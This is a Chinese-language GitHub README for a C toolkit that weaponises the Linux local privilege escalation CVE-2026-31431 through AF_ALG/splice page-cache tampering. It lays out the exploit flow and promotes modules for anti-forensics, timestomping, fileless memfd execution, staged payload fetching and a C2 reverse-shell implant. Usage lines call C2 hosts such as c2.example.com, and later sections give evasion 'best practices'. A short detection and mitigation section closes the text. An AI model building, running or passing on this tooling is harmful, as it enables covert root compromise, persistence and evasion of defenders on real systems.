toxy4ny/copy-fail-exploit-on-c-redteam
GitHub: toxy4ny/copy-fail-exploit-on-c-redteam
针对 CVE-2026-31431 的强化版 Linux 本地提权利用工具包,通过 AF_ALG/splice 页缓存篡改实现无磁盘修改的 setuid 二进制劫持提权。
Stars: 2 | Forks: 0
# 复制失败 -- CVE-2026-31431
**专为红队和授权渗透测试操作强化的 C 语言实现。**
## 目录
- [概述](#overview)
- [原始研究](#original-research)
- [我们的改进](#our-improvements)
- [架构](#architecture)
- [构建](#build)
- [使用方法](#usage)
- [模块](#modules)
- [操作安全](#operational-security)
- [检测与缓解](#detection--mitigation)
- [致谢](#credits)
- [许可证](#license)
## 概述
本项目是 **CVE-2026-31431** ("Copy Fail") 本地提权漏洞利用的强化、生产级 C 语言移植版,该漏洞最初由 **Theori** 和 **Xint** 于 2026 年 4 月 29 日披露。
最初的漏洞概念验证 使用 Python 编写,仅用于研究演示。本实现将其转化为一个 **红队级别工具包**,具备以下特性:
- **零磁盘残留** (基于 memfd 的无文件执行)
- **自动目标发现** (结合 MAC 感知的 setuid 二进制文件枚举)
- **反取证** (缓存清除、时间戳还原、自毁)
- **操作员控制** (信号触发执行,带可配置超时)
- **跨平台静态构建** (通过 musl/zig 支持 x86_64, ARM64, RISC-V)
## 原始研究
### CVE-2026-31431: 复制失败
| 属性 | 值 |
|-----------|-------|
| **披露日期** | 2026 年 4 月 29 日 |
| **研究人员** | Theori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint |
| **报告** | [https://copy.fail/](https://copy.fail/) |
| **原始 PoC** | [theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431) (Python) |
| **C 语言移植版 (基线)** | Tony Gies 开发的 [tgies/copy-fail-c](https://github.com/tgies/copy-fail-c) |
| **受影响的内核** | Linux 4.14 -- 6.14 (修复提交 `a664bf3d603d` 之前) |
| **严重程度** | CVSS 7.8 (高危) -- 本地提权 |
### 漏洞机制
该漏洞存在于 Linux 内核的 `AF_ALG` 加密子系统中。`authencesn` AEAD 模板针对解密实现了一种**原地优化**:当密文通过 `splice()` 从文件的页缓存提供时,内核会重用同一页面作为源和目标。
攻击流程如下:
1. 以只读方式打开一个 setuid 二进制文件 (例如 `/usr/bin/su`)
2. 通过 `AF_ALG` 设置一个 `authencesn(hmac(sha256),cbc(aes))` AEAD 操作
3. 通过 `splice()` 从目标文件的页缓存中提供密文
4. (失败的) 解密操作在身份验证拒绝之前,覆盖了页缓存页面的 4 个字节
5. 对 payload 的每个 4 字节窗口重复此操作
6. 对目标执行 `execve()` -- 内核从缓存中加载被篡改的页面,并授予 setuid-root 凭据
7. payload 转向获取完整的 root shell
**核心要点:** 磁盘上的 inode 从未被修改。只有内存中的页缓存被篡改,这使得取证检测比传统的文件覆盖漏洞利用困难得多。
## 我们的改进
本项目通过九个模块的**面向红队的强化**扩展了原始研究。
### 1. 强化的漏洞利用原语 (`patch_chunk.c`)
| 特性 | 原版 | 我们的实现 |
|---------|----------|-------------------|
| 套接字管理 | 每个分块创建新套接字 | **套接字复用** (减少约 60% 的系统调用) |
| 验证 | 无 | **mmap + memcmp** 并自动重试 (3 次尝试) |
| 并行写入 | 仅限顺序写入 | **基于 Fork 的并行** (最多 16 个进程) |
| 错误代码 | 二进制成功/失败 | **粒度细化**:0=已验证,1=已打补丁内核,-1=致命错误 |
| 堆内存分配 | 热路径中使用 `malloc` | **仅限栈内存** (无分配抖动) |
### 2. 自动目标发现 (`target_discovery.c`)
- **三阶段扫描**:优先目标 → 标准目录 → 深度扫描
- **MAC 感知评分**:对具有 AppArmor/SELinux 配置文件的二进制文件进行惩罚
- **18 个优先目标**:`su`、`sudo`、`passwd`、`pkexec`、`mount`、`ping` 等
- **备用链**:如果主目标失败,自动选择下一个最佳候选
- **Snap 感知**:跳过 `/snap` (非传统的 setuid)
### 3. 反取证套件 (`anti_forensics.c`)
| 技术 | 目的 |
|-----------|---------|
| `posix_fadvise(POSIX_FADV_DONTNEED)` | 单文件页缓存驱逐 |
| `echo 3 > /proc/sys/vm/drop_caches` | 全局缓存清除 (获取 root 后) |
| `utimensat()` 时间戳伪造 | 恢复原始 atime/mtime |
| 自毁 | 在执行前将投递二进制文件用零覆盖 |
| 内存擦除 | 使用 `volatile` 将敏感缓冲区清零 |
### 4. 无文件执行 (`memfd_exec.c`)
- **memfd_create + fexecve**:无需文件系统路径即可执行
- **伪装**:将 memfd 命名为 `kworker`、`anon_inode`、`eventfd` (混入 `/proc/$pid/fd/` 中)
- **Fork 后不管**:双重 fork 创建孤儿进程 (PPID=1)
- **内存解密**:XOR 和 RC4 先解密后执行 (payload 在磁盘上从不以明文存在)
### 5. Stage-1 Payload 投递 (`stage1.c`)
| 通道 | 隐蔽性 | 速度 | 备用优先级 |
|---------|---------|-------|-------------------|
| 内置 | 最高 | 即时 | 最后 (物理隔离) |
| HTTP 直连 | 中等 | <1s | 首选 |
| 系统 curl/wget | 低 | 1-3s | 第二 (支持 HTTPS) |
| DNS TXT | 高 | 慢 | 第三 (绕过防火墙) |
### 6. Stage-2 C2 植入 (`stage2_template.c`)
- **弹性重连循环** 带有指数退避
- **三种分布**:均匀、三角、指数抖动
- **信号控制**:`SIGUSR1` (触发)、`SIGUSR2` (状态)、`SIGTERM` (关闭)
- **DNS 信标**:在 TCP 连接前进行隐蔽的 C2 健康检查
- **进程伪装**:在 `ps`/`top` 中显示为 `[kworker/N:0]`
### 7. 进程隐藏 (`proc_hide.c`)
- **argv[0] 覆盖**:原地替换 `/proc/$pid/cmdline`
- **prctl(PR_SET_NAME)**:内核线程风格名称 (16 字节限制)
- **环境变量清理**:选择性擦除 `SSH_*`、`AWS_*`、`TOKEN*` 等
- **父进程脱离**:使用 `setsid()` + `setpgid()` 实现终端独立
### 8. 信号触发控制 (`signal_trigger.c`)
| 模式 | 行为 | 用例 |
|------|----------|----------|
| `trigger_oneshot()` | 睡眠 → 触发 → 执行 → 退出 | 打完就跑 |
| `trigger_daemon()` | 睡眠 → 触发 → 执行 → 循环 | 持久化植入 |
| `trigger_auto()` | 带有超时回退的睡眠 | 无人值守操作 |
**零 CPU 等待**:使用 `sigsuspend()` 而非轮询循环。
### 9. 睡眠抖动 (`sleep_jitter.c`)
- **三种 RNG 后端**:`getrandom(2)`、`/dev/urandom`、`rdtsc` 回退
- **拒绝采样**:消除均匀分布中的取模偏差
- **漂移补偿**:`sleep_scheduled()` 在抖动下维持平均间隔
- **沙箱检测**:`check_sandbox_acceleration()` 检测被篡改的 `sleep()`
## 架构
```
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Orchestrator) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Hide │ │Discover │ │ Exploit │ │ Cleanup │ │
│ │ Process │ │ Target │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Core Module Layer │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Delivery & Evasion Layer │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Payload Layer (Stage-2) │ │
│ │ stage2_template.c (reverse shell / C2 implant) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
```
## 构建
### 依赖条件
- GCC 或 Clang
- GNU Make
- Linux headers (`linux-libc-dev` 或等效包)
- 可选:`musl-tools` (用于极小的静态构建)
- 可选:`zig` (用于现代交叉编译)
- 可选:`dpkg-deb` (用于 Debian 打包)
### 快速开始
```
# 标准 redteam 构建 (optimized, stripped, static)
make redteam
# Pentest 构建 (symbols, moderate optimization)
make pentest
# Debug 构建 (ASAN, full symbols)
make debug
# 漏洞检查器 (non-destructive)
make checker
```
### 交叉编译
```
# ARM64 (AWS/Azure 云目标)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (embedded/IoT)
make cross-armhf
# Zig cross-compile (无 toolchain 安装)
make cross-zig-arm64
make cross-zig-riscv
```
### musl 静态构建 (精简二进制文件)
```
make musl-static
# 生成约 50-100 KB 的 static binaries,零 glibc 依赖
```
### Debian 软件包
```
make deb VERSION=1.0.0
# 生成: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
```
### 构建信息
```
make info
# 显示: CC, CFLAGS, LDFLAGS, 架构, toolchain 可用性
```
## 使用方法
### 标准模式 (信号触发)
```
# 部署 implant
./exploit &
IMP_PID=$!
# 远程触发漏洞利用
kill -USR1 $IMP_PID
# 请求状态 (无操作)
kill -USR2 $IMP_PID
# Graceful shutdown
kill -TERM $IMP_PID
```
### 立即执行
```
./exploit -t # Trigger now, no signal wait
./exploit -t -c c2.example.com -p 9999
```
### 自定义配置
```
./exploit \
-c c2.redteam.internal \ # C2 hostname
-p 4444 \ # C2 port
-d 300 \ # 5-minute initial delay
-T 7200 \ # 2-hour trigger timeout
-n # Skip vulnerability verification
```
### 非破坏性漏洞检测
```
./vulnerable
# Exit code: 100 = 漏洞存在, 0 = 已修补, 其他 = 错误
```
## 模块
| 模块 | 文件 | 目的 |
|--------|---------|---------|
| **漏洞利用原语** | `patch_chunk.c/h` | AF_ALG/splice 页缓存篡改 |
| **目标发现** | `target_discovery.c/h` | 自动扫描并评分 setuid 二进制文件 |
| **反取证** | `anti_forensics.c/h` | 清理、时间戳伪造、自毁 |
| **Stage-1 投递** | `stage1.c/h` | 无文件 payload 获取与执行 |
| **Stage-2 C2** | `stage2_template.c/h` | 带重连循环的反向 shell |
| **memfd 执行** | `memfd_exec.c/h` | 匿名文件执行原语 |
| **进程隐藏** | `proc_hide.c/h` | argv/cmdline/comm 伪装 |
| **信号控制** | `signal_trigger.c/h` | 操作员触发的执行 |
| **睡眠抖动** | `sleep_jitter.c/h` | 带分布算法的随机延迟 |
| **编排器** | `exploit.c` | 主入口点与协调 |
| **检测器** | `vulnerable.c` | 非破坏性漏洞探测 |
## 操作安全
### 红队最佳实践
1. **在低活跃度时段部署**以将关联性降至最低
2. **使用指数抖动**作为重连间隔 (规避信标检测)
3. **通过 SIGUSR1 触发**而非自动触发 (操作员保持控制)
4. **始终执行清理** (`full_cleanup`),即使漏洞利用失败
5. **优先选择 memfd 执行**而非基于磁盘的 payload
6. **双重 fork 实现持久化** (`memfd_fork_exec_detach`)
7. **在执行前监控沙箱加速**
### 取证残留物
| 残留物 | 位置 | 缓解措施 |
|----------|----------|------------|
| 被篡改的页缓存 | 仅限内存 | `drop_page_cache_for_file()` |
| 二进制路径 | `/proc/$pid/exe` | memfd (显示为 `(deleted)`) |
| 命令行 | `/proc/$pid/cmdline` | `overwrite_argv()` |
| 进程名 | `/proc/$pid/comm` | `prctl(PR_SET_NAME)` |
| 时间戳 | 目标上的 `stat()` | `timestomp_file()` |
| 投递二进制文件 | 磁盘上 | `self_destruct_and_exec()` |
| 网络连接 | `netstat`、EDR | DNS 信标、抖动 |
## 检测与缓解
### 防御性检测
| 指标 | 检测方法 |
|-----------|-----------------|
| `AF_ALG` 套接字 + `splice()` 模式 | eBPF 系统调用追踪 |
| 具有可疑名称的 memfd_create | `/proc/$pid/fd/` 监控 |
| 用户空间中带括号的进程名 | 进程异常检测 |
| 定期向单一域名发起的 DNS 查询 | DNS 分析 |
| 页缓存完整性不匹配 | 内核内存取证 |
### 缓解措施
1. **内核补丁**:升级到包含提交 `a664bf3d603d 的 Linux >= 6.14
2. **实时补丁**:应用发行版特定的向后移植补丁
3. **SELinux/AppArmor**:强制执行 setuid 二进制文件的配置文件
4. **eBPF 监控**:追踪 `AF_ALG` + `splice()` 组合
5. **页缓存验证**:对关键二进制文件进行定期完整性检查
## 致谢
### 原始研究
- **[Theori](https://theori.io/)** -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee
- **[Xint](https://xint.ai/)** -- 合作披露
- **报告**:[https://copy.fail/](https://copy.fail/)
- **原始 PoC**:[theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
### 基线 C 语言移植版
- **[Tony Gies](https://github.com/tgies)** -- `tgies/copy-fail-c`
- 使用 `nolibc` 提供了基础性的 C 语言实现
- 跨平台系统调用包装器和构建基础设施
### 本强化分支
- 跨越 9 个模块的**面向红队的强化**
- **操作安全**特性 (反取证、规避、隐蔽)
- **跨编译**支持 (musl、zig、多架构)
- **基于信号的操作员控制**和可配置的执行模式
### 鸣谢
- 感谢 Linux 内核开发者提供 `memfd_create(2)` 和 `fexecve(3)`
- 感谢 `nolibc` 维护者提供仅头文件的 libc 替代方案
- 感谢 musl libc 项目提供极小的静态二进制文件
- 感谢 Zig 项目提供现代交叉编译工具链
## 许可证
本项目采用双重许可:
- **LGPL-2.1-or-later**
- **MIT**
有关 SPDX 标识符,请参阅各个源文件。
原始研究和基线 C 语言移植版仍保留其各自的许可证。此分支的额外代码按上述双重许可证提供,以最大限度地兼容开源和商业安全研究用例。
## 免责声明
本软件仅适用于**授权安全研究和授权渗透测试**。作者对因滥用本软件或由本软件造成的损害不承担任何责任。在对您不拥有的任何系统进行测试之前,请务必获得适当的授权。
**如果您在您的系统上发现了此漏洞:**
- 应用内核补丁 (提交 `a664bf3d603d` 或发行版向后移植补丁)
- 监控上面列出的妥协指标
- 检查 `/var/log/audit/` 和 EDR 遥测数据以查找 `AF_ALG` 异常
标签:AF_ALG, ARM64, CVE-2026-31431, DNS 反向解析, Docker镜像, Linux内核漏洞, Page Cache Mutation, Raspberry Pi, RedTeam, RISC-V, Web报告查看器, x86_64, 代码安全, 内存执行, 内存损坏, 内核利用, 协议分析, 反取证, 子域名变形, 子域名枚举, 安全渗透, 安全评估, 客户端加密, 提权漏洞, 无文件执行, 本地提权, 权限提升, 漏洞枚举, 系统安全, 网络安全, 隐私保护, 静态编译